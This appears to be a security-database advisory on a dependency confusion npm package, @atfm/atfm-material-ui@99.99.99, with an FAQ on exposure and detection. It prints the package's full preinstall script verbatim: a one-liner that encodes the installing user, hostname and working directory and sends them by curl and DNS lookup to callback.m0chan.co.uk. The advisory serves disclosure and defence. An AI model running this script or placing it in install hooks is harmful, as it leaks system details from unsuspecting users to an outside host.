MAL-2026-18601: Malicious code in @atfm/atfm-material-ui (npm)
@atfm/atfm-material-ui@99.99.99 is a dependency confusion package: it uses an inflated version under the @atfm scope so that a build resolving an internal @atfm package of the same name picks the public one instead. Its package.json declares a preinstall script that runs on npm install. The script base64-encodes the installing user, hostname, current working directory and package name and sends them to a subdomain of callback.m0chan.co.uk in two ways: an HTTPS GET with the encoded data in the URL path, and a DNS lookup with the encoded package name as a subdomain label. The preinstall script is:
b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npmpackagename" | base64 -w0); pkgsub=$(printf '%s' "$npmpackagename" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npmpackagename" | base64 -w0 | tr '+/' '-' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk
The same script appears in @atfm/utils and @atfm/atfm-material-ui, both at 99.99.99, and in other packages already listed in this database that call back to callback.m0chan.co.uk. Both @atfm packages have since been removed from npm.
Affected Software
Event History
Frequently Asked Questions
Which environments are exposed to this package?
Builds or installations are exposed if they resolve an internal @atfm package with the same name to the public package at version 99.99.99. The preinstall script runs during npm install.
What data does the install script send externally?
It base64-encodes the installing user name, hostname, current working directory, and npm package name. It sends that value in an HTTPS request path and performs a DNS lookup containing an encoded form of the package name.
How can I determine whether an installation was affected?
Check dependency lockfiles, package-resolution records, and installation logs for @atfm/atfm-material-ui@99.99.99. Network or DNS logs may also show requests to subdomains of callback.m0chan.co.uk during npm installation.
Are there other packages associated with the same behavior?
The same preinstall script appears in @atfm/utils at version 99.99.99. The data also identifies other packages already listed in the database that call back to callback.m0chan.co.uk.